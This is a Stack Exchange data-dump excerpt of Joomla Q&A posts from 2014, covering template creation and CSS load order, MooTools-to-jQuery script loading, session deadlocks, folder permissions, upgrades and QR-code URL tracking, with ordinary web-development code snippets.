  <row Id="2236" PostTypeId="1" AcceptedAnswerId="2246" CreationDate="2014-06-11T12:26:12.940" Score="4" ViewCount="3576" Body="&lt;p&gt;I'm creating my 1st new template - very beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've a static HTML5 and CSS3 website that I created myself from scratch and converting this to a Joomla 3.3 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read some tutorials about how to make a basic template and so on but I really don't have time to put my hand on everything, so I need a fast solution that I can just use all my CSS styling and ignore anything comes from Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to put some styled &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tags into my index or as a module under (custom html) but there are some css styles that overriding my css rules so i just want to get rid of everything from joomla and keep my new template clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've this inside my index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl . '/media/jui/css/bootstrap.min.css');&#xA;$doc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl . '/media/jui/css/bootstrap-responsive.css');&#xA;$doc-&amp;gt;addStyleSheet('templates/' . $this-&amp;gt;template . '/css/style.css');&#xA;$doc-&amp;gt;addScript('/templates/' . $this-&amp;gt;template . '/js/main.js', 'text/javascript');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I think the main style that overrides mine come from this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I dunno what it brings.&lt;/p&gt;&#xA;" OwnerUserId="494" LastEditorUserId="168" LastEditDate="2014-06-11T12:34:37.587" LastActivityDate="2014-06-12T12:33:05.130" Title="creating new template in 3.3" Tags="|joomla-3.3.x|templates|css|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2237" PostTypeId="2" ParentId="2236" CreationDate="2014-06-11T12:44:13.100" Score="4" Body="&lt;p&gt;Unfortunately Joomla doesn't work like this. To make a Joomla template, you have to have some dynamic elements such as the jdoc tag that imports the component and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; is also a requirement and a very handy one at that. Basically, it gets all the script, link and anything else that is supposed to be injected into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; from an extension, and injects it in there for you. For example, lets say you has a module that required graph.js. To import this, you would use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', JUri::root() . 'modules/my_module/js/graph.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; gets the code above and injects it into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; for you so that you don't have to manually do it. Therefore, keep it there ad do not remove it. I will also be required for some core scripts that get shipped with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to use modules in your site, you can't simply add the HTML code to your index.php and expect it to work properly and be dynamic. This is why we use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-7&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which imports the module and the HTML structure that coded with is. You &lt;strong&gt;can&lt;/strong&gt; however add custom HTML to wrap around the module like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;sidebar-inner&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-7&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;sidebar-inner&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-8&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not very complex and it also makes life so much simpler. Joomla is not based on a static approach therefore you should stick to the way it works.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-06-11T12:44:13.100" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2238" PostTypeId="1" AcceptedAnswerId="2257" CreationDate="2014-06-11T13:31:00.927" Score="3" ViewCount="1093" Body="&lt;p&gt;Infrequently, instead of my site loading I get a white screen of death with this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deadlock found when trying to get lock; try restarting transaction SQL=INSERT INTO &lt;code&gt;jom_session&lt;/code&gt; (&lt;code&gt;session_id&lt;/code&gt;, &lt;code&gt;client_id&lt;/code&gt;, &lt;code&gt;guest&lt;/code&gt;, &lt;code&gt;time&lt;/code&gt;, &lt;code&gt;userid&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;) VALUES ('cv95odk14jbe8738ecg9se9de1', 0, 0, '1402423781', 101, 'username@example.com')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't duplicate it but I've seen it myself before, and its been reported by other users. Is there anyway to prevent this from happening?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2014-06-11T19:21:51.853" LastActivityDate="2014-06-11T21:57:27.553" Title="Deadlock on the sessions table" Tags="|joomla-3.x|mysql|session|bugs|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2239" PostTypeId="5" CreationDate="2014-06-11T13:58:22.177" Score="0" Body="&lt;h1&gt;Fix-my-code&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This question is asking a very specific question, requiring 1:1 help and is unlikely that it will help other users.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="126" LastEditDate="2015-08-21T15:42:24.853" LastActivityDate="2015-08-21T15:42:24.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2240" PostTypeId="4" CreationDate="2014-06-11T13:58:22.177" Score="0" Body="This tag is for asking a very specific question, requiring 1:1 help and is unlikely that it will help other users." OwnerUserId="159" LastEditorUserId="126" LastEditDate="2015-08-21T15:42:24.853" LastActivityDate="2015-08-21T15:42:24.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2241" PostTypeId="2" ParentId="2236" CreationDate="2014-06-11T14:14:48.460" Score="1" Body="&lt;p&gt;When I first started out, the out-of-the box Joomla templates weren't as clean, and that was good for a beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a head section that looks like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/system/css/system.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/system/css/general.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/layout.css?v=20140508&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/menus.css?v=20140508&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/modules.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/styles.css?v=20140508&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/print.css&quot; type=&quot;text/css&quot; media=&quot;print&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/peter.css?v=20140508-6&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In particular, the stylesheets are not included in the &quot;nice&quot; way with the the addStyleSheet, and as a result, they stay where they are put, last!  Any dynamically added stylesheets are inserted at the &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What may be happening in your template is that your stylesheets are being loaded first, then any dynamically added Joomla ones are added last.  It all depends on where the addStyleSheet functions are called.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're confident that you have all you need in the template, and don't need additional dynamic bits added (e.g. for the frontend editor), or for any extensions you add, then you might get away with removing the &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;, at least for a beginner template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or... just add your stylesheets at a fixed point, outside the included head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you step beyond a beginner, you'll probably want to include the head section.  There are ways to manipulate the dynamic content, though not necessarily for a beginner.  For example, for debugging, I have a stylesheet that I dynamically add using a custom extension, if I'm the logged in user.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-06-11T14:14:48.460" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2242" PostTypeId="1" AcceptedAnswerId="2243" CreationDate="2014-06-11T14:25:21.277" Score="6" ViewCount="9785" Body="&lt;p&gt;I use an adapted version of google code prettify on my page which lets me highlight &lt;em&gt;Mathematica&lt;/em&gt; code. For the correct injection of the necessary js code, the &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/code-display/22907&quot; rel=&quot;nofollow noreferrer&quot;&gt;JPrettify&lt;/a&gt; plugin is quite handy. Since this plugin seems to be no longer officially available and since I need to tweak it anyway, I set up my own version on &lt;a href=&quot;https://github.com/halirutan/JPrettify&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday, I was &lt;a href=&quot;http://chat.stackexchange.com/transcript/message/16020147#16020147&quot;&gt;pointed to the fact&lt;/a&gt; that it doesn't work in Joomla 3 and after some debugging we found out that the function &lt;code&gt;PrettyPrint&lt;/code&gt; is not called when it is inserted as follows in the html head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.addEvent('domready', function() { prettyPrint();});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is they way the &lt;a href=&quot;https://github.com/halirutan/JPrettify/blob/master/plg_system_jprettify/jprettify.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;JPrettify&lt;/a&gt; (line 53) does it. After some googling, it turns out that the problem is the &lt;a href=&quot;https://stackoverflow.com/questions/16169242/window-addevent-is-not-a-function-after-merging-js-files&quot;&gt;mootools&lt;/a&gt; library. We solved the problem by statically inserting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body onload=&quot;PrettyPrint()&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into the main template php file, which is of course not the right way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: To make the plugin work through different versions of Joomla, what is the best method to call &lt;code&gt;PrettyPrint()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-06-11T20:30:38.970" Title="window.addEvent('domready', ...) alternative" Tags="|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2243" PostTypeId="2" ParentId="2242" CreationDate="2014-06-11T14:32:38.573" Score="2" Body="&lt;p&gt;Rather than doing body onload, the following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    PrettyPrint();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or of you would rather use Javascript to determine when the function is called, you could use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.onload = function() {&#xA;    PrettyPrint();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-06-11T14:32:38.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2244" PostTypeId="2" ParentId="2229" CreationDate="2014-06-11T15:49:41.797" Score="3" Body="&lt;p&gt;I've solved this. It's the fact that Joomla menu lists the code in line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, there goes that idea. Thanks for playing everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Amendment: We've discovered that putting a space between each li, so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;Item&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will fix it.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-06-11T15:49:41.797" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2245" PostTypeId="2" ParentId="2242" CreationDate="2014-06-11T16:23:37.197" Score="2" Body="&lt;p&gt;There is a ongoing work within Joomla 3 to remove Mootools based scripts and replace them with jQuery ones.&#xA;The main issue why your code fails is that you don't load Mootools yourself. In prior versions of Joomla, it may have been loaded by the main layout or a module, and now it is no longer loaded because the scripts don't need it anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you need it for your module, load it using &lt;code&gt;JHtmlBehavior::famework()&lt;/code&gt; (&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JHtmlBehavior.html#method_framework&quot; rel=&quot;nofollow&quot;&gt;http://api.joomla.org/cms-3/classes/JHtmlBehavior.html#method_framework&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies if you rewrite your script to use jQuery. Don't count on it being loaded, tell Joomla that you need it. Joomla will take care that it's only loaded once.&#xA;To load jQuery, you'd use &lt;code&gt;JHtmlJquery::framework()&lt;/code&gt; (&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JHtmlJquery.html#method_framework&quot; rel=&quot;nofollow&quot;&gt;http://api.joomla.org/cms-3/classes/JHtmlJquery.html#method_framework&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-06-11T20:30:38.970" LastActivityDate="2014-06-11T20:30:38.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2246" PostTypeId="2" ParentId="2236" CreationDate="2014-06-11T16:32:23.673" Score="6" Body="&lt;p&gt;The general rule when doing a template is to load your own CSS files &lt;strong&gt;after&lt;/strong&gt; the &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;. That's important because this way you have the final say over CSS rules.&#xA;However that also means that you don't use &lt;code&gt;$doc-&amp;gt;addStyleSheet()&lt;/code&gt; in your template. Instead you just write it as plain HTML into your head after the jdoc statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one reason to still use the API to add JavaScript or CSS files within your template. That is if you load assets which may also be loaded by extensions. Then Joomla will take care that it's only loaded once, while otherwise you may have loaded it twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it would maybe make sense to load the bootstrap file using the API, but your own template style (style.css) and JavaScript (main.js) should be loaded hardcoded after the jdoc tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a sidenote: You can load the Bootstrap CSS by using &lt;code&gt;JHtmlBootstrap::loadCSS()&lt;/code&gt; (&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JHtmlBootstrap.html#method_loadCss&quot;&gt;http://api.joomla.org/cms-3/classes/JHtmlBootstrap.html#method_loadCss&lt;/a&gt;). This is perfectly fine when done within a template. But never use this call within an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it may make more sense to work from the Bootstrap LESS files and compile your own CSS file from it. Then you can even mix and match the things you need and leverage the mixins and variables already provided by Bootstrap.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-11T16:32:23.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2247" PostTypeId="1" CreationDate="2014-06-07T10:16:32.170" Score="1" ViewCount="416" Body="&lt;p&gt;I use Wordpress for my site but I want to use a shopping cart extension that is designed for Joomla. I know there are other plugins for Wordpress but I have to use this Joomla extension.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does anyone know of a way of using Joomla within Wordpress? &lt;/li&gt;&#xA;&lt;li&gt;Can Joomla be used in a Wordpress template? &lt;/li&gt;&#xA;&lt;li&gt;Would it be best if having an iframe and load Joomla in that way?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't want to run them side by side and have to maintain two CMS systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerDisplayName="Huntz" LastEditorUserId="126" LastEditDate="2015-08-11T10:27:40.470" LastActivityDate="2015-08-11T10:34:57.820" Title="Using Joomla within Wordpress" Tags="|component|cms|wordpress|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2248" PostTypeId="1" CreationDate="2014-06-08T23:26:17.203" Score="1" ViewCount="708" Body="&lt;p&gt;This is the first question, sorry if it is inadequate.&#xA;Before working with joomla I used to use the &quot;Dynamic Page Replacing Content&quot; script by CSSTRICKS, with a few modifications.&#xA;A few months ago I started using Joomla!3 and I tried to implement the script.&#xA;It loads the content, but the back and forward buttons (the history of the browser) doesn't work.&#xA;Is there any joomla extension that makes the same work, or is there any script I can use to achieve the same effect. &#xA;Basically what I want is to load the content to a certain div without reloading the entire page, with joomla.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1519" OwnerDisplayName="user3720740" LastEditorUserId="168" LastEditDate="2014-06-11T18:50:31.753" LastActivityDate="2014-06-11T23:59:47.563" Title="Dynamic Page Replacing Content joomla" Tags="|joomla-3.x|extension-request|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2249" PostTypeId="1" CreationDate="2014-06-09T14:00:55.837" Score="0" ViewCount="2835" Body="&lt;p&gt;I have a Joomla 3 site with several menus. When I make changes to the order of these in the backend, the order is not reflected in the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have cleared / purged the cache and tried to run this fix &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `database-name`.`jxx_menu` SET `ordering` = '0'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which wouldn't work because I am running 3.3 and there is no column 'ordering' in that table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's wrong please?&lt;/p&gt;&#xA;" OwnerUserId="7922" OwnerDisplayName="maxelcat" LastEditorUserId="3650" LastEditDate="2016-11-24T17:53:21.347" LastActivityDate="2016-11-24T17:53:21.347" Title="Can't change order of menu items in Joomla 3" Tags="|joomla-3.x|menu|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2250" PostTypeId="1" CreationDate="2014-06-10T05:58:34.597" Score="2" ViewCount="59" Body="&lt;p&gt;My Joomla editors are not working properly. When I save any HTML in editor, it changes its inline CSS or show it without CSS. I should also mention that CSS is not blocked in the joomla backend in any editor. &lt;/p&gt;&#xA;" OwnerUserId="1523" OwnerDisplayName="Pooja Thakur" LastEditorUserId="3650" LastEditDate="2016-11-24T18:00:18.517" LastActivityDate="2016-11-24T18:00:18.517" Title="Not proper output in Joomla editors while using CSS" Tags="|cms|editor|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2251" PostTypeId="1" CreationDate="2014-06-10T09:54:08.407" Score="1" ViewCount="65" Body="&lt;p&gt;I installed a blank new installation of Joomla3.3 on my localhost. I am trying to install a plugin, but I keep getting the error message &quot;unable to decompress data&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla attempts to create a install directory in the Joomla's &lt;code&gt;tmp&lt;/code&gt; folder what seems to fail. At least I cant see the folder Joomla tried to use what would explain the failed decompression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I did &lt;code&gt;sudo chmod 777&lt;/code&gt; on the &lt;code&gt;tmp&lt;/code&gt; folder, but to my surprise that did not solve my problem. Joomla still seems to be unable to create a folder in its tmp directory.&#xA;I also checked the server-settings, the tmp folder entry points to the correct folder where everyone (my user, but also &lt;code&gt;everyone&lt;/code&gt;) has full r/w privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using XAMPP(MySql, Apache) and OSX (Mavericks). Anyone any idea where my permission problem comes from or how to fix it? &lt;/p&gt;&#xA;" OwnerDisplayName="user1091534" LastEditorUserId="168" LastEditDate="2014-06-11T18:51:33.167" LastActivityDate="2014-08-11T12:19:27.843" Title="Joomla: Unable to decompress data OSX folder permissions?" Tags="|joomla-3.x|file-permissions|localhost|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2252" PostTypeId="1" CreationDate="2014-06-11T20:02:06.433" Score="1" ViewCount="294" Body="&lt;p&gt;What I am trying to do is this - different agents will be given flyers to hand out.  Each agent will have a different QR code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob's flyers will go to &lt;code&gt;(URL)/qr-coupon&amp;amp;id=001&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim's flyers will go to &lt;code&gt;(URL)/qr-coupon&amp;amp;id=002&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mary's flyers will go to &lt;code&gt;(URL)/qr-coupon&amp;amp;id=003&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the simplest case, the URLs will all redirect to the same page, with the same coupon.  In a better case, each QR code would generate a different coupon (maybe the ID is in the coupon somewhere), so that we can track visits vs. coupons turned in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, as people scan them, we can count the hits and know which flyers are getting scanned, which ones are not, and hopefully which ones are generating actual returns as they are turned in as coupons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess we could set this up to be a stand-alone PHP page, and a redirect to a landing page inside Joomla, but I was hoping there was something available that made this all easy to set up and maintain from within Joomla itself.  Does anyone know of an extension that would handle something like this?&lt;/p&gt;&#xA;" OwnerUserId="419" LastEditorUserId="22" LastEditDate="2014-09-11T02:50:16.407" LastActivityDate="2014-10-11T03:19:27.730" Title="How to track separate QR codes on the same website?" Tags="|extensions|extension-request|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2253" PostTypeId="1" CreationDate="2014-06-10T11:39:37.940" Score="3" ViewCount="699" Body="&lt;p&gt;I need to update a site from Joomla 1.7.3 to J3.3. Am looking for best way to do this? Joomla manager&gt;update does not find any updates. Online guides are quite vague on how exactly to manually update 1.7 to 2.5 or 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it rather be best to just build from ground up in J3.3, then import all 1.7 users and k2 items? &#xA;Please advise on a tool for exporting/importing J users from 1.7.3 to 3.x&#xA;Also a tool for exporting k2 items/comments (images are not a problem, I could do these separately)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tx&lt;/p&gt;&#xA;" OwnerUserId="1524" OwnerDisplayName="Mark" LastEditorUserId="168" LastEditDate="2014-06-12T11:57:01.047" LastActivityDate="2014-06-12T11:57:01.047" Title="Joomla 1.7 to 3, users and k2 items" Tags="|joomla-3.x|extensions|upgrade|migration|joomla-1.7|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2254" PostTypeId="2" ParentId="2253" CreationDate="2014-06-10T11:45:05.533" Score="3" Body="&lt;p&gt;I think you might want to go first to 2.5 and then to 3.0. How to do this manually was already suggested in this question: &lt;a href=&quot;https://stackoverflow.com/questions/19019708/joomla-1-7-5-to-2-5-migration-when-not-showing-any-updates-about-2-5&quot;&gt;https://stackoverflow.com/questions/19019708/joomla-1-7-5-to-2-5-migration-when-not-showing-any-updates-about-2-5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla doc has also an upgrade guide: &lt;a href=&quot;http://docs.joomla.org/J3.2:Upgrading_from_an_existing_version&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/J3.2:Upgrading_from_an_existing_version&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1526" OwnerDisplayName="Aida_Aida" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-06-10T11:45:05.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2255" PostTypeId="2" ParentId="2223" CreationDate="2014-06-11T21:46:47.080" Score="1" Body="&lt;p&gt;Since you have received this before, and assuming it is a different component here is some things to consider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most extensions are built on a linux virtual machine and not windows &lt;code&gt;C:\xampp\&lt;/code&gt; is a windows path &lt;code&gt;/home/user/public_html&lt;/code&gt; is a linux path. Notice the different slashes? This can be a big problem for some applications. Most developers and the Joomla core do get around this, but not all extension developers may see the need, as so few sites end up on a windows server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to do a local test is to install something like VirtualBox, there are others but this one is free.&#xA;&lt;a href=&quot;https://www.virtualbox.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.virtualbox.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will let you get a linux OS like ubuntu or debian (redhat, centos, the list goes on) and use that for your dev environment. Although you should be perfectly fine using xampp in my experience its best to go with the most widely used when needing compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This in no way will really answer what the actual problem is, but a way to reduce the probability of extensions having some sort of problem based on the environment. If being in a linux environment does not fix it then its quite possible that it is a bug in the component or some hidden problem occurred during install. Possibly even the component came with a plugin that needs to be enabled for it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I am unfamiliar with the extension you are using, so this is just some guesses/suggestions.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-11T21:46:47.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2256" PostTypeId="2" ParentId="2252" CreationDate="2014-06-11T21:49:48.113" Score="1" Body="&lt;p&gt;Any SEF url extension would solve this problem, for example AceSEF. Each of your QR codes basically represents some sort of URL, you can see this as random url, say /abcdef&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have to do is map /abcdef to /qr-coupon&amp;amp;id=001 on your site. In AceSEF, the url feature does this.&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-06-11T21:49:48.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
